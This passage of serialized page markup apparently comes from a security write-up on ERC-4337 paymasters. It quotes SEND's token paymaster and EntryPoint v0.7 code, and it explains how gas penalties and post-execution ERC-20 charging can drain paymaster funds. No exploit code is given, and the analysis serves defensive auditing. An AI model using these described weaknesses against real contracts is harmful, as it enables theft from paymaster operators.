",{"type":22,"tag":101,"props":107434,"children":107435},{"style":114},[107436],{"type":27,"value":36637},{"type":22,"tag":101,"props":107438,"children":107439},{"style":120},[107440],{"type":27,"value":107441}," userOpSender) ",{"type":22,"tag":101,"props":107443,"children":107444},{"style":166},[107445],{"type":27,"value":1511},{"type":22,"tag":101,"props":107447,"children":107448},{"style":108},[107449],{"type":27,"value":107184},{"type":22,"tag":101,"props":107451,"children":107452},{"style":120},[107453],{"type":27,"value":231},{"type":22,"tag":101,"props":107455,"children":107456},{"style":926},[107457],{"type":27,"value":107458},"decode",{"type":22,"tag":101,"props":107460,"children":107461},{"style":120},[107462],{"type":27,"value":107463},"(context, (",{"type":22,"tag":101,"props":107465,"children":107466},{"style":114},[107467],{"type":27,"value":50164},{"type":22,"tag":101,"props":107469,"children":107470},{"style":120},[107471],{"type":27,"value":758},{"type":22,"tag":101,"props":107473,"children":107474},{"style":114},[107475],{"type":27,"value":36637},{"type":22,"tag":101,"props":107477,"children":107478},{"style":120},[107479],{"type":27,"value":3950},{"type":22,"tag":101,"props":107481,"children":107482},{"class":103,"line":27781},[107483,107488,107493,107498],{"type":22,"tag":101,"props":107484,"children":107485},{"style":120},[107486],{"type":27,"value":107487}," preCharge ",{"type":22,"tag":101,"props":107489,"children":107490},{"style":166},[107491],{"type":27,"value":107492},"-=",{"type":22,"tag":101,"props":107494,"children":107495},{"style":120},[107496],{"type":27,"value":107497}," baseFee; ",{"type":22,"tag":101,"props":107499,"children":107500},{"style":2215},[107501],{"type":27,"value":107502},"// don't refund the base fee\n",{"type":22,"tag":101,"props":107504,"children":107505},{"class":103,"line":27818},[107506,107510,107515,107519,107524,107528,107532],{"type":22,"tag":101,"props":107507,"children":107508},{"style":114},[107509],{"type":27,"value":106635},{"type":22,"tag":101,"props":107511,"children":107512},{"style":120},[107513],{"type":27,"value":107514}," _cachedPrice ",{"type":22,"tag":101,"props":107516,"children":107517},{"style":166},[107518],{"type":27,"value":1511},{"type":22,"tag":101,"props":107520,"children":107521},{"style":926},[107522],{"type":27,"value":107523}," updateCachedPrice",{"type":22,"tag":101,"props":107525,"children":107526},{"style":120},[107527],{"type":27,"value":980},{"type":22,"tag":101,"props":107529,"children":107530},{"style":108},[107531],{"type":27,"value":5644},{"type":22,"tag":101,"props":107533,"children":107534},{"style":120},[107535],{"type":27,"value":994},{"type":22,"tag":101,"props":107537,"children":107538},{"class":103,"line":27831},[107539,107543,107547],{"type":22,"tag":101,"props":107540,"children":107541},{"style":2215},[107542],{"type":27,"value":106887},{"type":22,"tag":101,"props":107544,"children":107545},{"style":108},[107546],{"type":27,"value":6005},{"type":22,"tag":101,"props":107548,"children":107549},{"style":2215},[107550],{"type":27,"value":106896},{"type":22,"tag":101,"props":107552,"children":107553},{"class":103,"line":27844},[107554,107558,107562,107566,107570,107574,107578,107582],{"type":22,"tag":101,"props":107555,"children":107556},{"style":114},[107557],{"type":27,"value":106635},{"type":22,"tag":101,"props":107559,"children":107560},{"style":120},[107561],{"type":27,"value":106908},{"type":22,"tag":101,"props":107563,"children":107564},{"style":166},[107565],{"type":27,"value":1511},{"type":22,"tag":101,"props":107567,"children":107568},{"style":120},[107569],{"type":27,"value":107514},{"type":22,"tag":101,"props":107571,"children":107572},{"style":166},[107573],{"type":27,"value":8615},{"type":22,"tag":101,"props":107575,"children":107576},{"style":120},[107577],{"type":27,"value":106926},{"type":22,"tag":101,"props":107579,"children":107580},{"style":166},[107581],{"type":27,"value":8625},{"type":22,"tag":101,"props":107583,"children":107584},{"style":120},[107585],{"type":27,"value":106935},{"type":22,"tag":101,"props":107587,"children":107588},{"class":103,"line":27857},[107589],{"type":22,"tag":101,"props":107590,"children":107591},{"style":2215},[107592],{"type":27,"value":107593}," // Refund tokens based on actual gas cost\n",{"type":22,"tag":101,"props":107595,"children":107596},{"class":103,"line":27911},[107597,107601,107606,107610,107615,107619,107624,107628],{"type":22,"tag":101,"props":107598,"children":107599},{"style":114},[107600],{"type":27,"value":106635},{"type":22,"tag":101,"props":107602,"children":107603},{"style":120},[107604],{"type":27,"value":107605}," actualChargeNative ",{"type":22,"tag":101,"props":107607,"children":107608},{"style":166},[107609],{"type":27,"value":1511},{"type":22,"tag":101,"props":107611,"children":107612},{"style":120},[107613],{"type":27,"value":107614}," actualGasCost ",{"type":22,"tag":101,"props":107616,"children":107617},{"style":166},[107618],{"type":27,"value":8426},{"type":22,"tag":101,"props":107620,"children":107621},{"style":120},[107622],{"type":27,"value":107623}," tokenPaymasterConfig.refundPostopCost ",{"type":22,"tag":101,"props":107625,"children":107626},{"style":166},[107627],{"type":27,"value":8615},{"type":22,"tag":101,"props":107629,"children":107630},{"style":120},[107631],{"type":27,"value":107632}," actualUserOpFeePerGas;\n",{"type":22,"tag":101,"props":107634,"children":107635},{"class":103,"line":27920},[107636,107640,107645,107649,107653],{"type":22,"tag":101,"props":107637,"children":107638},{"style":114},[107639],{"type":27,"value":106635},{"type":22,"tag":101,"props":107641,"children":107642},{"style":120},[107643],{"type":27,"value":107644}," actualTokenNeeded ",{"type":22,"tag":101,"props":107646,"children":107647},{"style":166},[107648],{"type":27,"value":1511},{"type":22,"tag":101,"props":107650,"children":107651},{"style":926},[107652],{"type":27,"value":107110},{"type":22,"tag":101,"props":107654,"children":107655},{"style":120},[107656],{"type":27,"value":107657},"(actualChargeNative, cachedPriceWithMarkup);\n",{"type":22,"tag":101,"props":107659,"children":107660},{"class":103,"line":36277},[107661,107665,107670,107674],{"type":22,"tag":101,"props":107662,"children":107663},{"style":3595},[107664],{"type":27,"value":62798},{"type":22,"tag":101,"props":107666,"children":107667},{"style":120},[107668],{"type":27,"value":107669}," (preCharge ",{"type":22,"tag":101,"props":107671,"children":107672},{"style":166},[107673],{"type":27,"value":14467},{"type":22,"tag":101,"props":107675,"children":107676},{"style":120},[107677],{"type":27,"value":107678}," actualTokenNeeded) {\n",{"type":22,"tag":101,"props":107680,"children":107681},{"class":103,"line":36298},[107682],{"type":22,"tag":101,"props":107683,"children":107684},{"style":2215},[107685],{"type":27,"value":107686}," // If initially provided token amount is greater than the actual amount needed, refund the difference\n",{"type":22,"tag":101,"props":107688,"children":107689},{"class":103,"line":84458},[107690,107695,107700,107705,107709],{"type":22,"tag":101,"props":107691,"children":107692},{"style":120},[107693],{"type":27,"value":107694}," SafeERC20.",{"type":22,"tag":101,"props":107696,"children":107697},{"style":926},[107698],{"type":27,"value":107699},"safeTransfer",{"type":22,"tag":101,"props":107701,"children":107702},{"style":120},[107703],{"type":27,"value":107704},"(token, userOpSender, preCharge ",{"type":22,"tag":101,"props":107706,"children":107707},{"style":166},[107708],{"type":27,"value":8372},{"type":22,"tag":101,"props":107710,"children":107711},{"style":120},[107712],{"type":27,"value":107713}," actualTokenNeeded);\n",{"type":22,"tag":101,"props":107715,"children":107716},{"class":103,"line":84471},[107717,107721,107725,107729,107733,107737],{"type":22,"tag":101,"props":107718,"children":107719},{"style":120},[107720],{"type":27,"value":74099},{"type":22,"tag":101,"props":107722,"children":107723},{"style":3595},[107724],{"type":27,"value":7354},{"type":22,"tag":101,"props":107726,"children":107727},{"style":3595},[107728],{"type":27,"value":19786},{"type":22,"tag":101,"props":107730,"children":107731},{"style":120},[107732],{"type":27,"value":107669},{"type":22,"tag":101,"props":107734,"children":107735},{"style":166},[107736],{"type":27,"value":123},{"type":22,"tag":101,"props":107738,"children":107739},{"style":120},[107740],{"type":27,"value":107678},{"type":22,"tag":101,"props":107742,"children":107743},{"class":103,"line":84479},[107744],{"type":22,"tag":101,"props":107745,"children":107746},{"style":2215},[107747],{"type":27,"value":107748}," // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n",{"type":22,"tag":101,"props":107750,"children":107751},{"class":103,"line":84487},[107752],{"type":22,"tag":101,"props":107753,"children":107754},{"style":2215},[107755],{"type":27,"value":107756}," // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n",{"type":22,"tag":101,"props":107758,"children":107759},{"class":103,"line":84495},[107760,107764,107768,107773,107777,107781,107785,107790,107794],{"type":22,"tag":101,"props":107761,"children":107762},{"style":120},[107763],{"type":27,"value":107694},{"type":22,"tag":101,"props":107765,"children":107766},{"style":926},[107767],{"type":27,"value":107145},{"type":22,"tag":101,"props":107769,"children":107770},{"style":120},[107771],{"type":27,"value":107772},"(token, userOpSender, ",{"type":22,"tag":101,"props":107774,"children":107775},{"style":114},[107776],{"type":27,"value":36637},{"type":22,"tag":101,"props":107778,"children":107779},{"style":120},[107780],{"type":27,"value":980},{"type":22,"tag":101,"props":107782,"children":107783},{"style":108},[107784],{"type":27,"value":21691},{"type":22,"tag":101,"props":107786,"children":107787},{"style":120},[107788],{"type":27,"value":107789},"), actualTokenNeeded ",{"type":22,"tag":101,"props":107791,"children":107792},{"style":166},[107793],{"type":27,"value":8372},{"type":22,"tag":101,"props":107795,"children":107796},{"style":120},[107797],{"type":27,"value":107798}," preCharge);\n",{"type":22,"tag":101,"props":107800,"children":107801},{"class":103,"line":84535},[107802],{"type":22,"tag":101,"props":107803,"children":107804},{"style":120},[107805],{"type":27,"value":62882},{"type":22,"tag":101,"props":107807,"children":107808},{"class":103,"line":84543},[107809],{"type":22,"tag":101,"props":107810,"children":107811},{"emptyLinePlaceholder":15},[107812],{"type":27,"value":1581},{"type":22,"tag":101,"props":107814,"children":107815},{"class":103,"line":91730},[107816,107820,107825,107829,107833],{"type":22,"tag":101,"props":107817,"children":107818},{"style":3595},[107819],{"type":27,"value":62798},{"type":22,"tag":101,"props":107821,"children":107822},{"style":120},[107823],{"type":27,"value":107824}," (baseFee ",{"type":22,"tag":101,"props":107826,"children":107827},{"style":166},[107828],{"type":27,"value":14467},{"type":22,"tag":101,"props":107830,"children":107831},{"style":1544},[107832],{"type":27,"value":1547},{"type":22,"tag":101,"props":107834,"children":107835},{"style":120},[107836],{"type":27,"value":1463},{"type":22,"tag":101,"props":107838,"children":107839},{"class":103,"line":91738},[107840,107844,107848],{"type":22,"tag":101,"props":107841,"children":107842},{"style":120},[107843],{"type":27,"value":107694},{"type":22,"tag":101,"props":107845,"children":107846},{"style":926},[107847],{"type":27,"value":107699},{"type":22,"tag":101,"props":107849,"children":107850},{"style":120},[107851],{"type":27,"value":107852},"(token, tokenPaymasterConfig.rewardsPool, baseFee);\n",{"type":22,"tag":101,"props":107854,"children":107855},{"class":103,"line":105084},[107856],{"type":22,"tag":101,"props":107857,"children":107858},{"style":120},[107859],{"type":27,"value":62882},{"type":22,"tag":101,"props":107861,"children":107862},{"class":103,"line":105092},[107863],{"type":22,"tag":101,"props":107864,"children":107865},{"emptyLinePlaceholder":15},[107866],{"type":27,"value":1581},{"type":22,"tag":101,"props":107868,"children":107869},{"class":103,"line":105100},[107870,107875,107880],{"type":22,"tag":101,"props":107871,"children":107872},{"style":3595},[107873],{"type":27,"value":107874}," emit",{"type":22,"tag":101,"props":107876,"children":107877},{"style":926},[107878],{"type":27,"value":107879}," UserOperationSponsored",{"type":22,"tag":101,"props":107881,"children":107882},{"style":120},[107883],{"type":27,"value":107884},"(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n",{"type":22,"tag":101,"props":107886,"children":107887},{"class":103,"line":105108},[107888,107893],{"type":22,"tag":101,"props":107889,"children":107890},{"style":926},[107891],{"type":27,"value":107892}," refillEntryPointDeposit",{"type":22,"tag":101,"props":107894,"children":107895},{"style":120},[107896],{"type":27,"value":107897},"(_cachedPrice);\n",{"type":22,"tag":101,"props":107899,"children":107900},{"class":103,"line":105136},[107901],{"type":22,"tag":101,"props":107902,"children":107903},{"style":120},[107904],{"type":27,"value":2398},{"type":22,"tag":101,"props":107906,"children":107908},{"class":103,"line":107907},67,[107909],{"type":22,"tag":101,"props":107910,"children":107911},{"style":120},[107912],{"type":27,"value":1734},{"type":22,"tag":101,"props":107914,"children":107916},{"class":103,"line":107915},68,[107917],{"type":22,"tag":101,"props":107918,"children":107919},{"style":120},[107920],{"type":27,"value":188},{"type":22,"tag":23,"props":107922,"children":107923},{},[107924,107926,107932,107934,107939,107941,107947],{"type":27,"value":107925},"Looking at the code above, during ",{"type":22,"tag":30,"props":107927,"children":107929},{"className":107928},[],[107930],{"type":27,"value":107931},"validatePaymasterUserOp",{"type":27,"value":107933},", the paymaster attempts to charge a maximum prefund amount first. This prefund is calculated by taking the gas limit specified in the ",{"type":22,"tag":30,"props":107935,"children":107937},{"className":107936},[],[107938],{"type":27,"value":105990},{"type":27,"value":107940}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":22,"tag":30,"props":107942,"children":107944},{"className":107943},[],[107945],{"type":27,"value":107946},"postOp",{"type":27,"value":107948},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":22,"tag":23,"props":107950,"children":107951},{},[107952,107954,107959,107961,107968],{"type":27,"value":107953},"However, there is a critical oversight: ",{"type":22,"tag":9370,"props":107955,"children":107956},{},[107957],{"type":27,"value":107958},"the code does not account for gas penalties",{"type":27,"value":107960},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":22,"tag":80,"props":107962,"children":107965},{"href":107963,"rel":107964},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[84],[107966],{"type":27,"value":107967},"penalties incurred",{"type":27,"value":107969}," from differences between the execution gas limit and actual execution gas.",{"type":22,"tag":23,"props":107971,"children":107972},{},[107973],{"type":27,"value":107974},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":22,"tag":23,"props":107976,"children":107977},{},[107978,107980,107985],{"type":27,"value":107979},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":22,"tag":30,"props":107981,"children":107983},{"className":107982},[],[107984],{"type":27,"value":105689},{"type":27,"value":107986}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":22,"tag":53,"props":107988,"children":107990},{"id":107989},"incorrect-erc-20-handling",[107991],{"type":22,"tag":9370,"props":107992,"children":107993},{},[107994],{"type":27,"value":107995},"Incorrect ERC-20 Handling",{"type":22,"tag":23,"props":107997,"children":107998},{},[107999],{"type":27,"value":108000},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":22,"tag":23,"props":108002,"children":108003},{},[108004,108005,108010,108012,108017],{"type":27,"value":49292},{"type":22,"tag":30,"props":108006,"children":108008},{"className":108007},[],[108009],{"type":27,"value":105770},{"type":27,"value":108011}," flow above, we can see that paymasters have two key interaction points during a ",{"type":22,"tag":30,"props":108013,"children":108015},{"className":108014},[],[108016],{"type":27,"value":105689},{"type":27,"value":108018},"'s lifecycle:",{"type":22,"tag":6828,"props":108020,"children":108021},{},[108022,108032],{"type":22,"tag":6832,"props":108023,"children":108024},{},[108025,108027],{"type":27,"value":108026},"During validation via ",{"type":22,"tag":30,"props":108028,"children":108030},{"className":108029},[],[108031],{"type":27,"value":105877},{"type":22,"tag":6832,"props":108033,"children":108034},{},[108035,108037],{"type":27,"value":108036},"After execution via ",{"type":22,"tag":30,"props":108038,"children":108040},{"className":108039},[],[108041],{"type":27,"value":105888},{"type":22,"tag":23,"props":108043,"children":108044},{},[108045],{"type":27,"value":108046},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":22,"tag":1760,"props":108048,"children":108050},{"id":108049},"_1-pre-payment-with-refund-pattern",[108051],{"type":27,"value":108052},"1. Pre-Payment with Refund Pattern",{"type":22,"tag":23,"props":108054,"children":108055},{},[108056,108058,108063,108065,108070,108072,108078,108079,108085,108087,108092,108094,108099,108101,108106],{"type":27,"value":108057},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":22,"tag":30,"props":108059,"children":108061},{"className":108060},[],[108062],{"type":27,"value":105877},{"type":27,"value":108064},". After execution completes, ",{"type":22,"tag":30,"props":108066,"children":108068},{"className":108067},[],[108069],{"type":27,"value":105888},{"type":27,"value":108071}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":22,"tag":30,"props":108073,"children":108075},{"className":108074},[],[108076],{"type":27,"value":108077},"SEND",{"type":27,"value":209},{"type":22,"tag":30,"props":108080,"children":108082},{"className":108081},[],[108083],{"type":27,"value":108084},"Circle",{"type":27,"value":108086}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":22,"tag":30,"props":108088,"children":108090},{"className":108089},[],[108091],{"type":27,"value":105718},{"type":27,"value":108093},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":22,"tag":9370,"props":108095,"children":108096},{},[108097],{"type":27,"value":108098},"before",{"type":27,"value":108100}," execution (specifically during ",{"type":22,"tag":30,"props":108102,"children":108104},{"className":108103},[],[108105],{"type":27,"value":107931},{"type":27,"value":24730},{"type":22,"tag":1760,"props":108108,"children":108110},{"id":108109},"_2-post-execution-charging-pattern",[108111],{"type":27,"value":108112},"2. Post-Execution Charging Pattern",{"type":22,"tag":23,"props":108114,"children":108115},{},[108116,108118,108123,108125,108130,108132,108137,108139,108144],{"type":27,"value":108117},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":22,"tag":30,"props":108119,"children":108121},{"className":108120},[],[108122],{"type":27,"value":105877},{"type":27,"value":108124},", the actual token payment is calculated and collected in ",{"type":22,"tag":30,"props":108126,"children":108128},{"className":108127},[],[108129],{"type":27,"value":105888},{"type":27,"value":108131}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":22,"tag":30,"props":108133,"children":108135},{"className":108134},[],[108136],{"type":27,"value":105689},{"type":27,"value":108138},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":22,"tag":30,"props":108140,"children":108142},{"className":108141},[],[108143],{"type":27,"value":105990},{"type":27,"value":108145},". This means users could interact with the paymaster without any prior setup.",{"type":22,"tag":23,"props":108147,"children":108148},{},[108149,108151,108156,108158,108164,108166,108172,108174,108179],{"type":27,"value":108150},"This approach used to work in ",{"type":22,"tag":30,"props":108152,"children":108154},{"className":108153},[],[108155],{"type":27,"value":105770},{"type":27,"value":108157}," version ",{"type":22,"tag":30,"props":108159,"children":108161},{"className":108160},[],[108162],{"type":27,"value":108163},"v0.6",{"type":27,"value":108165},", but the pattern no longer works in ",{"type":22,"tag":30,"props":108167,"children":108169},{"className":108168},[],[108170],{"type":27,"value":108171},"v0.7",{"type":27,"value":108173},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":22,"tag":30,"props":108175,"children":108177},{"className":108176},[],[108178],{"type":27,"value":108171},{"type":27,"value":108180}," handles the execution phase:",{"type":22,"tag":91,"props":108182,"children":108184},{"className":8520,"code":108183,"language":8519,"meta":7,"style":7}," function _executeUserOp(\n uint256 opIndex,\n PackedUserOperation calldata userOp,\n UserOpInfo memory opInfo\n )\n internal virtual\n returns (uint256 collected) {\n [...]\n bool success;\n {\n [...]\n if (methodSig == IAccountExecute.executeUserOp.selector) {\n bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n } else\n {\n innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n }\n assembly (\"memory-safe\") {\n success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n collected := mload(0)\n }\n _restoreFreePtr(saveFreePtr);\n }\n if (!success) {\n [...]\n if (innerRevertCode == INNER_OUT_OF_GAS) {\n // handleOps was called with gas limit too low. abort entire bundle.\n // can only be caused by bundler (leaving not enough gas for inner call)\n revert FailedOp(opIndex, \"AA95 out of gas\");\n } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n uint256 actualGasCost = opInfo.prefund;\n _emitPrefundTooLow(opInfo);\n _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n collected = actualGasCost;\n } else {\n [...]\n collected = _postExecution(\n IPaymaster.PostOpMode.postOpReverted,\n opInfo,\n context,\n actualGas\n );\n }\n }\n }\n",[108185],{"type":22,"tag":30,"props":108186,"children":108187},{"__ignoreMap":7},[108188,108204,108220,108240,108257,108264,108277,108301,108309,108322,108329,108336,108357,108396,108433,108445,108452,108488,108495,108516,108605,108634,108641,108654,108661,108681,108688,108709,108717,108725,108752,108780,108788,108831,108851,108864,108886,108902,108917,108924,108944,108952,108960,108968,108976,108984,108991,108998],{"type":22,"tag":101,"props":108189,"children":108190},{"class":103,"line":104},[108191,108195,108200],{"type":22,"tag":101,"props":108192,"children":108193},{"style":108},[108194],{"type":27,"value":93338},{"type":22,"tag":101,"props":108196,"children":108197},{"style":926},[108198],{"type":27,"value":108199}," _executeUserOp",{"type":22,"tag":101,"props":108201,"children":108202},{"style":120},[108203],{"type":27,"value":1850},{"type":22,"tag":101,"props":108205,"children":108206},{"class":103,"line":157},[108207,108211,108216],{"type":22,"tag":101,"props":108208,"children":108209},{"style":114},[108210],{"type":27,"value":93516},{"type":22,"tag":101,"props":108212,"children":108213},{"style":126},[108214],{"type":27,"value":108215}," opIndex",{"type":22,"tag":101,"props":108217,"children":108218},{"style":120},[108219],{"type":27,"value":179},{"type":22,"tag":101,"props":108221,"children":108222},{"class":103,"line":182},[108223,108228,108232,108236],{"type":22,"tag":101,"props":108224,"children":108225},{"style":108},[108226],{"type":27,"value":108227}," PackedUserOperation",{"type":22,"tag":101,"props":108229,"children":108230},{"style":108},[108231],{"type":27,"value":106519},{"type":22,"tag":101,"props":108233,"children":108234},{"style":126},[108235],{"type":27,"value":106524},{"type":22,"tag":101,"props":108237,"children":108238},{"style":120},[108239],{"type":27,"value":179},{"type":22,"tag":101,"props":108241,"children":108242},{"class":103,"line":367},[108243,108248,108252],{"type":22,"tag":101,"props":108244,"children":108245},{"style":108},[108246],{"type":27,"value":108247}," UserOpInfo",{"type":22,"tag":101,"props":108249,"children":108250},{"style":108},[108251],{"type":27,"value":106587},{"type":22,"tag":101,"props":108253,"children":108254},{"style":126},[108255],{"type":27,"value":108256}," opInfo\n",{"type":22,"tag":101,"props":108258,"children":108259},{"class":103,"line":398},[108260],{"type":22,"tag":101,"props":108261,"children":108262},{"style":120},[108263],{"type":27,"value":27917},{"type":22,"tag":101,"props":108265,"children":108266},{"class":103,"line":428},[108267,108272],{"type":22,"tag":101,"props":108268,"children":108269},{"style":108},[108270],{"type":27,"value":108271}," internal",{"type":22,"tag":101,"props":108273,"children":108274},{"style":108},[108275],{"type":27,"value":108276}," virtual\n",{"type":22,"tag":101,"props":108278,"children":108279},{"class":103,"line":997},[108280,108284,108288,108292,108297],{"type":22,"tag":101,"props":108281,"children":108282},{"style":3595},[108283],{"type":27,"value":50505},{"type":22,"tag":101,"props":108285,"children":108286},{"style":120},[108287],{"type":27,"value":3603},{"type":22,"tag":101,"props":108289,"children":108290},{"style":114},[108291],{"type":27,"value":50164},{"type":22,"tag":101,"props":108293,"children":108294},{"style":126},[108295],{"type":27,"value":108296}," collected",{"type":22,"tag":101,"props":108298,"children":108299},{"style":120},[108300],{"type":27,"value":1463},{"type":22,"tag":101,"props":108302,"children":108303},{"class":103,"line":1032},[108304],{"type":22,"tag":101,"props":108305,"children":108306},{"style":120},[108307],{"type":27,"value":108308}," [...]\n",{"type":22,"tag":101,"props":108310,"children":108311},{"class":103,"line":1063},[108312,108317],{"type":22,"tag":101,"props":108313,"children":108314},{"style":114},[108315],{"type":27,"value":108316}," bool",{"type":22,"tag":101,"props":108318,"children":108319},{"style":120},[108320],{"type":27,"value":108321}," success;\n",{"type":22,"tag":101,"props":108323,"children":108324},{"class":103,"line":1071},[108325],{"type":22,"tag":101,"props":108326,"children":108327},{"style":120},[108328],{"type":27,"value":35655},{"type":22,"tag":101,"props":108330,"children":108331},{"class":103,"line":1110},[108332],{"type":22,"tag":101,"props":108333,"children":108334},{"style":120},[108335],{"type":27,"value":108308},{"type":22,"tag":101,"props":108337,"children":108338},{"class":103,"line":1118},[108339,108343,108348,108352],{"type":22,"tag":101,"props":108340,"children":108341},{"style":3595},[108342],{"type":27,"value":62798},{"type":22,"tag":101,"props":108344,"children":108345},{"style":120},[108346],{"type":27,"value":108347}," (methodSig ",{"type":22,"tag":101,"props":108349,"children":108350},{"style":166},[108351],{"type":27,"value":4340},{"type":22,"tag":101,"props":108353,"children":108354},{"style":120},[108355],{"type":27,"value":108356}," IAccountExecute.executeUserOp.selector) {\n",{"type":22,"tag":101,"props":108358,"children":108359},{"class":103,"line":1158},[108360,108365,108369,108374,108378,108382,108386,108391],{"type":22,"tag":101,"props":108361,"children":108362},{"style":114},[108363],{"type":27,"value":108364}," bytes",{"type":22,"tag":101,"props":108366,"children":108367},{"style":108},[108368],{"type":27,"value":106587},{"type":22,"tag":101,"props":108370,"children":108371},{"style":120},[108372],{"type":27,"value":108373}," executeUserOp ",{"type":22,"tag":101,"props":108375,"children":108376},{"style":166},[108377],{"type":27,"value":1511},{"type":22,"tag":101,"props":108379,"children":108380},{"style":108},[108381],{"type":27,"value":107184},{"type":22,"tag":101,"props":108383,"children":108384},{"style":120},[108385],{"type":27,"value":231},{"type":22,"tag":101,"props":108387,"children":108388},{"style":926},[108389],{"type":27,"value":108390},"encodeCall",{"type":22,"tag":101,"props":108392,"children":108393},{"style":120},[108394],{"type":27,"value":108395},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":22,"tag":101,"props":108397,"children":108398},{"class":103,"line":1166},[108399,108404,108408,108412,108416,108420,108424,108428],{"type":22,"tag":101,"props":108400,"children":108401},{"style":120},[108402],{"type":27,"value":108403}," innerCall ",{"type":22,"tag":101,"props":108405,"children":108406},{"style":166},[108407],{"type":27,"value":1511},{"type":22,"tag":101,"props":108409,"children":108410},{"style":108},[108411],{"type":27,"value":107184},{"type":22,"tag":101,"props":108413,"children":108414},{"style":120},[108415],{"type":27,"value":231},{"type":22,"tag":101,"props":108417,"children":108418},{"style":926},[108419],{"type":27,"value":108390},{"type":22,"tag":101,"props":108421,"children":108422},{"style":120},[108423],{"type":27,"value":980},{"type":22,"tag":101,"props":108425,"children":108426},{"style":108},[108427],{"type":27,"value":21691},{"type":22,"tag":101,"props":108429,"children":108430},{"style":120},[108431],{"type":27,"value":108432},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":22,"tag":101,"props":108434,"children":108435},{"class":103,"line":1215},[108436,108440],{"type":22,"tag":101,"props":108437,"children":108438},{"style":120},[108439],{"type":27,"value":74099},{"type":22,"tag":101,"props":108441,"children":108442},{"style":3595},[108443],{"type":27,"value":108444},"else\n",{"type":22,"tag":101,"props":108446,"children":108447},{"class":103,"line":2425},[108448],{"type":22,"tag":101,"props":108449,"children":108450},{"style":120},[108451],{"type":27,"value":35691},{"type":22,"tag":101,"props":108453,"children":108454},{"class":103,"line":5417},[108455,108459,108463,108467,108471,108475,108479,108483],{"type":22,"tag":101,"props":108456,"children":108457},{"style":120},[108458],{"type":27,"value":108403},{"type":22,"tag":101,"props":108460,"children":108461},{"style":166},[108462],{"type":27,"value":1511},{"type":22,"tag":101,"props":108464,"children":108465},{"style":108},[108466],{"type":27,"value":107184},{"type":22,"tag":101,"props":108468,"children":108469},{"style":120},[108470],{"type":27,"value":231},{"type":22,"tag":101,"props":108472,"children":108473},{"style":926},[108474],{"type":27,"value":108390},{"type":22,"tag":101,"props":108476,"children":108477},{"style":120},[108478],{"type":27,"value":980},{"type":22,"tag":101,"props":108480,"children":108481},{"style":108},[108482],{"type":27,"value":21691},{"type":22,"tag":101,"props":108484,"children":108485},{"style":120},[108486],{"type":27,"value":108487},".innerHandleOp, (callData, opInfo, context));\n",{"type":22,"tag":101,"props":108489,"children":108490},{"class":103,"line":7714},[108491],{"type":22,"tag":101,"props":108492,"children":108493},{"style":120},[108494],{"type":27,"value":62882},{"type":22,"tag":101,"props":108496,"children":108497},{"class":103,"line":7723},[108498,108503,108507,108512],{"type":22,"tag":101,"props":108499,"children":108500},{"style":926},[108501],{"type":27,"value":108502}," assembly",{"type":22,"tag":101,"props":108504,"children":108505},{"style":120},[108506],{"type":27,"value":3603},{"type":22,"tag":101,"props":108508,"children":108509},{"style":6476},[108510],{"type":27,"value":108511},"\"memory-safe\"",{"type":22,"tag":101,"props":108513,"children":108514},{"style":120},[108515],{"type":27,"value":1463},{"type":22,"tag":101,"props":108517,"children":108518},{"class":103,"line":7791},[108519,108524,108528,108532,108536,108541,108545,108549,108553,108557,108561,108565,108570,108575,108579,108584,108589,108593,108597,108601],{"type":22,"tag":101,"props":108520,"children":108521},{"style":120},[108522],{"type":27,"value":108523}," success 